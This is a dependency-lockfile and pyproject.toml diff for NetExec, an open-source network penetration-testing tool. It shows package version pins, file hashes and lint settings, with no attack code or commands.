minikerberos = ">=0.4.1,<=0.5.0"
msldap = ">=0.5.7,<=0.6.0"
aesedb = ">=0.1.3"
aiosmb = ">=0.4.4"
aiowinreg = ">=0.0.7"
minidump = ">=0.0.21"
minikerberos = ">=0.4.0"
msldap = ">=0.4.7"
tqdm = "*"
unicrypto = ">=0.0.10,<=0.1.0"
winacl = ">=0.1.7,<=0.2.0"
unicrypto = ">=0.0.10"
winacl = ">=0.1.6"
[[package]]
name = "pyspnego"
@@ -2002,90 +2036,82 @@ files = [
[[package]]
name = "sqlalchemy"
version = "2.0.25"
version = "1.4.50"
description = "Database Abstraction Library"
optional = false
python-versions = ">=3.7"
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
files = [
{file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4344d059265cc8b1b1be351bfb88749294b87a8b2bbe21dfbe066c4199541ebd"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6f9e2e59cbcc6ba1488404aad43de005d05ca56e069477b33ff74e91b6319735"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:84daa0a2055df9ca0f148a64fdde12ac635e30edbca80e87df9b3aaf419e144a"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc8b7dabe8e67c4832891a5d322cec6d44ef02f432b4588390017f5cec186a84"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:f5693145220517b5f42393e07a6898acdfe820e136c98663b971906120549da5"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:db854730a25db7c956423bb9fb4bdd1216c839a689bf9cc15fada0a7fb2f4570"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-win32.whl", hash = "sha256:14a6f68e8fc96e5e8f5647ef6cda6250c780612a573d99e4d881581432ef1669"},
{file = "SQLAlchemy-2.0.25-cp310-cp310-win_amd64.whl", hash = "sha256:87f6e732bccd7dcf1741c00f1ecf33797383128bd1c90144ac8adc02cbb98643"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:342d365988ba88ada8af320d43df4e0b13a694dbd75951f537b2d5e4cb5cd002"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f37c0caf14b9e9b9e8f6dbc81bc56db06acb4363eba5a633167781a48ef036ed"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa9373708763ef46782d10e950b49d0235bfe58facebd76917d3f5cbf5971aed"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d24f571990c05f6b36a396218f251f3e0dda916e0c687ef6fdca5072743208f5"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:75432b5b14dc2fff43c50435e248b45c7cdadef73388e5610852b95280ffd0e9"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:884272dcd3ad97f47702965a0e902b540541890f468d24bd1d98bcfe41c3f018"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-win32.whl", hash = "sha256:e607cdd99cbf9bb80391f54446b86e16eea6ad309361942bf88318bcd452363c"},
{file = "SQLAlchemy-2.0.25-cp311-cp311-win_amd64.whl", hash = "sha256:7d505815ac340568fd03f719446a589162d55c52f08abd77ba8964fbb7eb5b5f"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:0dacf67aee53b16f365c589ce72e766efaabd2b145f9de7c917777b575e3659d"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b801154027107461ee992ff4b5c09aa7cc6ec91ddfe50d02bca344918c3265c6"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59a21853f5daeb50412d459cfb13cb82c089ad4c04ec208cd14dddd99fc23b39"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:29049e2c299b5ace92cbed0c1610a7a236f3baf4c6b66eb9547c01179f638ec5"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b64b183d610b424a160b0d4d880995e935208fc043d0302dd29fee32d1ee3f95"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4f7a7d7fcc675d3d85fbf3b3828ecd5990b8d61bd6de3f1b260080b3beccf215"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-win32.whl", hash = "sha256:cf18ff7fc9941b8fc23437cc3e68ed4ebeff3599eec6ef5eebf305f3d2e9a7c2"},
{file = "SQLAlchemy-2.0.25-cp312-cp312-win_amd64.whl", hash = "sha256:91f7d9d1c4dd1f4f6e092874c128c11165eafcf7c963128f79e28f8445de82d5"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:bb209a73b8307f8fe4fe46f6ad5979649be01607f11af1eb94aa9e8a3aaf77f0"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:798f717ae7c806d67145f6ae94dc7c342d3222d3b9a311a784f371a4333212c7"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5fdd402169aa00df3142149940b3bf9ce7dde075928c1886d9a1df63d4b8de62"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:0d3cab3076af2e4aa5693f89622bef7fa770c6fec967143e4da7508b3dceb9b9"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:74b080c897563f81062b74e44f5a72fa44c2b373741a9ade701d5f789a10ba23"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-win32.whl", hash = "sha256:87d91043ea0dc65ee583026cb18e1b458d8ec5fc0a93637126b5fc0bc3ea68c4"},
{file = "SQLAlchemy-2.0.25-cp37-cp37m-win_amd64.whl", hash = "sha256:75f99202324383d613ddd1f7455ac908dca9c2dd729ec8584c9541dd41822a2c"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:420362338681eec03f53467804541a854617faed7272fe71a1bfdb07336a381e"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c88f0c7dcc5f99bdb34b4fd9b69b93c89f893f454f40219fe923a3a2fd11625"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3be4987e3ee9d9a380b66393b77a4cd6d742480c951a1c56a23c335caca4ce3"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2a159111a0f58fb034c93eeba211b4141137ec4b0a6e75789ab7a3ef3c7e7e3"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8b8cb63d3ea63b29074dcd29da4dc6a97ad1349151f2d2949495418fd6e48db9"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:736ea78cd06de6c21ecba7416499e7236a22374561493b456a1f7ffbe3f6cdb4"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-win32.whl", hash = "sha256:10331f129982a19df4284ceac6fe87353ca3ca6b4ca77ff7d697209ae0a5915e"},
{file = "SQLAlchemy-2.0.25-cp38-cp38-win_amd64.whl", hash = "sha256:c55731c116806836a5d678a70c84cb13f2cedba920212ba7dcad53260997666d"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:605b6b059f4b57b277f75ace81cc5bc6335efcbcc4ccb9066695e515dbdb3900"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:665f0a3954635b5b777a55111ababf44b4fc12b1f3ba0a435b602b6387ffd7cf"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecf6d4cda1f9f6cb0b45803a01ea7f034e2f1aed9475e883410812d9f9e3cfcf"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c51db269513917394faec5e5c00d6f83829742ba62e2ac4fa5c98d58be91662f"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:790f533fa5c8901a62b6fef5811d48980adeb2f51f1290ade8b5e7ba990ba3de"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1b1180cda6df7af84fe72e4530f192231b1f29a7496951db4ff38dac1687202d"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-win32.whl", hash = "sha256:555651adbb503ac7f4cb35834c5e4ae0819aab2cd24857a123370764dc7d7e24"},
{file = "SQLAlchemy-2.0.25-cp39-cp39-win_amd64.whl", hash = "sha256:dc55990143cbd853a5d038c05e79284baedf3e299661389654551bd02a6a68d7"},
{file = "SQLAlchemy-2.0.25-py3-none-any.whl", hash = "sha256:a86b4240e67d4753dc3092d9511886795b3c2852abe599cffe108952f7af7ac3"},
{file = "SQLAlchemy-2.0.25.tar.gz", hash = "sha256:a2c69a7664fb2d54b8682dd774c3b54f67f84fa123cf84dda2a5f40dcaa04e08"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:54138aa80d2dedd364f4e8220eef284c364d3270aaef621570aa2bd99902e2e8"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d00665725063692c42badfd521d0c4392e83c6c826795d38eb88fb108e5660e5"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85292ff52ddf85a39367057c3d7968a12ee1fb84565331a36a8fead346f08796"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d0fed0f791d78e7767c2db28d34068649dfeea027b83ed18c45a423f741425cb"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db4db3c08ffbb18582f856545f058a7a5e4ab6f17f75795ca90b3c38ee0a8ba4"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-win32.whl", hash = "sha256:6c78e3fb4a58e900ec433b6b5f4efe1a0bf81bbb366ae7761c6e0051dd310ee3"},
{file = "SQLAlchemy-1.4.50-cp310-cp310-win_amd64.whl", hash = "sha256:d55f7a33e8631e15af1b9e67c9387c894fedf6deb1a19f94be8731263c51d515"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:324b1fdd50e960a93a231abb11d7e0f227989a371e3b9bd4f1259920f15d0304"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14b0cacdc8a4759a1e1bd47dc3ee3f5db997129eb091330beda1da5a0e9e5bd7"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1fb9cb60e0f33040e4f4681e6658a7eb03b5cb4643284172f91410d8c493dace"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-win32.whl", hash = "sha256:8bdab03ff34fc91bfab005e96f672ae207d87e0ac7ee716d74e87e7046079d8b"},
{file = "SQLAlchemy-1.4.50-cp311-cp311-win_amd64.whl", hash = "sha256:52e01d60b06f03b0a5fc303c8aada405729cbc91a56a64cead8cb7c0b9b13c1a"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:77fde9bf74f4659864c8e26ac08add8b084e479b9a18388e7db377afc391f926"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4cb501d585aa74a0f86d0ea6263b9c5e1d1463f8f9071392477fd401bd3c7cc"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a7a66297e46f85a04d68981917c75723e377d2e0599d15fbe7a56abed5e2d75"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-win32.whl", hash = "sha256:e86c920b7d362cfa078c8b40e7765cbc34efb44c1007d7557920be9ddf138ec7"},
{file = "SQLAlchemy-1.4.50-cp312-cp312-win_amd64.whl", hash = "sha256:6b3df20fbbcbcd1c1d43f49ccf3eefb370499088ca251ded632b8cbaee1d497d"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:fb9adc4c6752d62c6078c107d23327aa3023ef737938d0135ece8ffb67d07030"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1db0221cb26d66294f4ca18c533e427211673ab86c1fbaca8d6d9ff78654293"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0b7dbe6369677a2bea68fe9812c6e4bbca06ebfa4b5cde257b2b0bf208709131"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a9bddb60566dc45c57fd0a5e14dd2d9e5f106d2241e0a2dc0c1da144f9444516"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82dd4131d88395df7c318eeeef367ec768c2a6fe5bd69423f7720c4edb79473c"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-win32.whl", hash = "sha256:1b9c4359d3198f341480e57494471201e736de459452caaacf6faa1aca852bd8"},
{file = "SQLAlchemy-1.4.50-cp36-cp36m-win_amd64.whl", hash = "sha256:35e4520f7c33c77f2636a1e860e4f8cafaac84b0b44abe5de4c6c8890b6aaa6d"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-macosx_11_0_x86_64.whl", hash = "sha256:f5b1fb2943d13aba17795a770d22a2ec2214fc65cff46c487790192dda3a3ee7"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:273505fcad22e58cc67329cefab2e436006fc68e3c5423056ee0513e6523268a"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3257a6e09626d32b28a0c5b4f1a97bced585e319cfa90b417f9ab0f6145c33c"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d69738d582e3a24125f0c246ed8d712b03bd21e148268421e4a4d09c34f521a5"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:34e1c5d9cd3e6bf3d1ce56971c62a40c06bfc02861728f368dcfec8aeedb2814"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-win32.whl", hash = "sha256:7b4396452273aedda447e5aebe68077aa7516abf3b3f48408793e771d696f397"},
{file = "SQLAlchemy-1.4.50-cp37-cp37m-win_amd64.whl", hash = "sha256:752f9df3dddbacb5f42d8405b2d5885675a93501eb5f86b88f2e47a839cf6337"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-macosx_11_0_x86_64.whl", hash = "sha256:35c7ed095a4b17dbc8813a2bfb38b5998318439da8e6db10a804df855e3a9e3a"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1fcee5a2c859eecb4ed179edac5ffbc7c84ab09a5420219078ccc6edda45436"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fbaf6643a604aa17e7a7afd74f665f9db882df5c297bdd86c38368f2c471f37d"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2e70e0673d7d12fa6cd363453a0d22dac0d9978500aa6b46aa96e22690a55eab"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b881ac07d15fb3e4f68c5a67aa5cdaf9eb8f09eb5545aaf4b0a5f5f4659be18"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-win32.whl", hash = "sha256:8a219688297ee5e887a93ce4679c87a60da4a5ce62b7cb4ee03d47e9e767f558"},
{file = "SQLAlchemy-1.4.50-cp38-cp38-win_amd64.whl", hash = "sha256:a648770db002452703b729bdcf7d194e904aa4092b9a4d6ab185b48d13252f63"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:4be4da121d297ce81e1ba745a0a0521c6cf8704634d7b520e350dce5964c71ac"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f6997da81114daef9203d30aabfa6b218a577fc2bd797c795c9c88c9eb78d49"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdb77e1789e7596b77fd48d99ec1d2108c3349abd20227eea0d48d3f8cf398d9"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:128a948bd40780667114b0297e2cc6d657b71effa942e0a368d8cc24293febb3"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2d526aeea1bd6a442abc7c9b4b00386fd70253b80d54a0930c0a216230a35be"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-win32.whl", hash = "sha256:a7c9b9dca64036008962dd6b0d9fdab2dfdbf96c82f74dbd5d86006d8d24a30f"},
{file = "SQLAlchemy-1.4.50-cp39-cp39-win_amd64.whl", hash = "sha256:df200762efbd672f7621b253721644642ff04a6ff957236e0e2fe56d9ca34d2c"},
{file = "SQLAlchemy-1.4.50.tar.gz", hash = "sha256:3b97ddf509fc21e10b09403b5219b06c5b558b27fc2453150274fa4e70707dbf"},
]
[package.dependencies]
greenlet = {version = "!=0.4.17", markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\""}
typing-extensions = ">=4.6.0"
greenlet = {version = "!=0.4.17", markers = "python_version >= \"3\" and (platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\")"}
[package.extras]
aiomysql = ["aiomysql (>=0.2.0)", "greenlet (!=0.4.17)"]
aioodbc = ["aioodbc", "greenlet (!=0.4.17)"]
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing_extensions (!=3.10.0.1)"]
aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"]
asyncio = ["greenlet (!=0.4.17)"]
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"]
mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"]
asyncmy = ["asyncmy (>=0.2.3,!=0.2.4)", "greenlet (!=0.4.17)"]
mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2)"]
mssql = ["pyodbc"]
mssql-pymssql = ["pymssql"]
mssql-pyodbc = ["pyodbc"]
mypy = ["mypy (>=0.910)"]
mysql = ["mysqlclient (>=1.4.0)"]
mypy = ["mypy (>=0.910)", "sqlalchemy2-stubs"]
mysql = ["mysqlclient (>=1.4.0)", "mysqlclient (>=1.4.0,<2)"]
mysql-connector = ["mysql-connector-python"]
oracle = ["cx_oracle (>=8)"]
oracle-oracledb = ["oracledb (>=1.0.1)"]
oracle = ["cx-oracle (>=7)", "cx-oracle (>=7,<8)"]
postgresql = ["psycopg2 (>=2.7)"]
postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"]
postgresql-pg8000 = ["pg8000 (>=1.29.1)"]
postgresql-psycopg = ["psycopg (>=3.0.7)"]
postgresql-pg8000 = ["pg8000 (>=1.16.6,!=1.29.0)"]
postgresql-psycopg2binary = ["psycopg2-binary"]
postgresql-psycopg2cffi = ["psycopg2cffi"]
postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
pymysql = ["pymysql"]
sqlcipher = ["sqlcipher3_binary"]
pymysql = ["pymysql", "pymysql (<1)"]
sqlcipher = ["sqlcipher3-binary"]
[[package]]
name = "sspilib"
@@ -2142,18 +2168,14 @@ widechars = ["wcwidth"]
[[package]]
name = "termcolor"
version = "2.0.1"
description = "ANSI color formatting for output in terminal"
version = "1.1.0"
description = "ANSII Color formatting for output in terminal."
optional = false
python-versions = ">=3.7"
python-versions = "*"
files = [
{file = "termcolor-2.0.1-py3-none-any.whl", hash = "sha256:7e597f9de8e001a3208c4132938597413b9da45382b6f1d150cff8d062b7aaa3"},
{file = "termcolor-2.0.1.tar.gz", hash = "sha256:6b2cf769e93364a2676e1de56a7c0cff2cf5bd07f37e9cc80b0dd6320ebfe388"},
{file = "termcolor-1.1.0.tar.gz", hash = "sha256:1d6d69ce66211143803fbc56652b41d73b4a400a2891d7bf7a1cdf4c02de613b"},
]
[package.extras]
tests = ["pytest", "pytest-cov"]
[[package]]
name = "terminaltables"
version = "3.1.10"
@@ -2176,6 +2198,17 @@ files = [
{file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"},
]
[[package]]
name = "tomlkit"
version = "0.12.4"
description = "Style preserving TOML library"
optional = false
python-versions = ">=3.7"
files = [
{file = "tomlkit-0.12.4-py3-none-any.whl", hash = "sha256:5cd82d48a3dd89dee1f9d64420aa20ae65cfbd00668d6f094d7578a78efbb77b"},
{file = "tomlkit-0.12.4.tar.gz", hash = "sha256:7ca1cfc12232806517a8515047ba66a19369e71edf2439d0f5824f91032b6cc3"},
]
[[package]]
name = "tqdm"
version = "4.66.1"
@@ -2307,4 +2340,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
[metadata]
lock-version = "2.0"
python-versions = "^3.8.0"
content-hash = "0bbd6a14b3478776b71e58b674942a5053c24fd2f802cc45ccd968f205a80167"
content-hash = "9926a84b8b7af5447a82db8b1e6723a3cbd46c33f3ea0697a6f2edb69931e01c"
+132 -126
View File
@@ -1,126 +1,132 @@
[tool.poetry]
name = "netexec"
version = "1.1.0"
description = "The Network Execution tool"
authors = [
"Marshall Hallenbeck <[email protected]>",
"Alexander Neff <[email protected]>",
"Thomas Seigneuret <[email protected]>"
]
readme = "README.md"
homepage = "https://github.com/Pennyw0rth/NetExec"
repository = "https://github.com/Pennyw0rth/NetExec"
exclude = []
include = [
"nxc/data/*",
"nxc/modules/*"
]
license = "BSD-2-Clause"
classifiers = [
'Environment :: Console',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 3',
'Topic :: Security',
]
packages = [
{ include = "nxc"}
]
[tool.poetry.scripts]
nxc = 'nxc.netexec:main'
netexec = 'nxc.netexec:main'
NetExec = 'nxc.netexec:main'
nxcdb = 'nxc.nxcdb:main'
[tool.poetry.dependencies]
python = "^3.8.0"
requests = ">=2.27.1"
beautifulsoup4 = ">=4.11,<5"
lsassy = ">=3.1.8"
termcolor = "2.0.1"
msgpack = "^1.0.0"
neo4j = "^5.0.0"
pylnk3 = "^0.4.2"
pypsrp = "^0.8.1"
paramiko = "^3.3.1"
impacket = { git = "https://github.com/Pennyw0rth/impacket.git", branch = "gkdi" }
dsinternals = "^1.2.4"
xmltodict = "^0.13.0"
terminaltables = "^3.1.0"
aioconsole = "^0.6.2"
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
minikerberos = "^0.4.1"
pypykatz = "^0.6.8"
aardwolf = "^0.2.7"
dploot = "^2.2.1"
bloodhound = "^1.6.1"
asyauth = "~0.0.14"
masky = "^0.2.0"
sqlalchemy = "^2.0.4"
aiosqlite = "^0.19.0"
pyasn1-modules = "^0.3.0"
rich = "^13.3.5"
python-libnmap = "^0.7.3"
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
argcomplete = "^3.1.4"
python-dateutil = ">=2.8.2"
[tool.poetry.group.dev.dependencies]
flake8 = "*"
shiv = "*"
pytest = "^7.2.2"
ruff = "=0.0.292"
[build-system]
requires = ["poetry-core>=1.2.0"]
build-backend = "poetry.core.masonry.api"
[tool.ruff]
# Ruff doesn't enable pycodestyle warnings (`W`) or
# McCabe complexity (`C901`) by default.
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
# Should tackle flake8-use-pathlib (PTH) at some point
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
# Allow autofix for all enabled rules (when `--fix`) is provided.
fixable = ["ALL"]
unfixable = []
# Exclude a variety of commonly ignored directories.
exclude = [
".bzr",
".direnv",
".eggs",
".git",
".git-rewrite",
".hg",
".mypy_cache",
".nox",
".pants.d",
".pytype",
".ruff_cache",
".svn",
".tox",
".venv",
"__pypackages__",
"_build",
"buck-out",
"build",
"dist",
"node_modules",
"venv",
]
per-file-ignores = {}
line-length = 65000
# Allow unused variables when underscore-prefixed.
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
target-version = "py37"
[tool.ruff.flake8-quotes]
docstring-quotes = "double"
inline-quotes = "double"
multiline-quotes = "double"
[tool.poetry]
name = "netexec"
version = "1.1.0"
description = "The Network Execution tool"
authors = [
"Marshall Hallenbeck <[email protected]>",
"Alexander Neff <[email protected]>",
"Thomas Seigneuret <[email protected]>"
]
readme = "README.md"
homepage = "https://github.com/Pennyw0rth/NetExec"
repository = "https://github.com/Pennyw0rth/NetExec"
exclude = []
include = [
"nxc/data/*",
"nxc/modules/*"
]
license = "BSD-2-Clause"
classifiers = [
'Environment :: Console',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 3',
'Topic :: Security',
]
packages = [
{ include = "nxc"}
]
[tool.poetry.scripts]
nxc = 'nxc.netexec:main'
netexec = 'nxc.netexec:main'
NetExec = 'nxc.netexec:main'
nxcdb = 'nxc.nxcdb:main'
[tool.poetry.dependencies]
python = "^3.8.0"
aardwolf = "^0.2.8"
aioconsole = "^0.6.2"
aiosqlite = "^0.17.0"
argcomplete = "^3.1.4"
asyauth = ">=0.0.20"
beautifulsoup4 = ">=4.11,<5"
bloodhound = "^1.7.2"
dploot = "^2.7.1"
dsinternals = "^1.2.4"
impacket = { git = "https://github.com/fortra/impacket.git" }
lsassy = ">=3.1.10"
masky = "^0.2.0"
minikerberos = "^0.4.1"
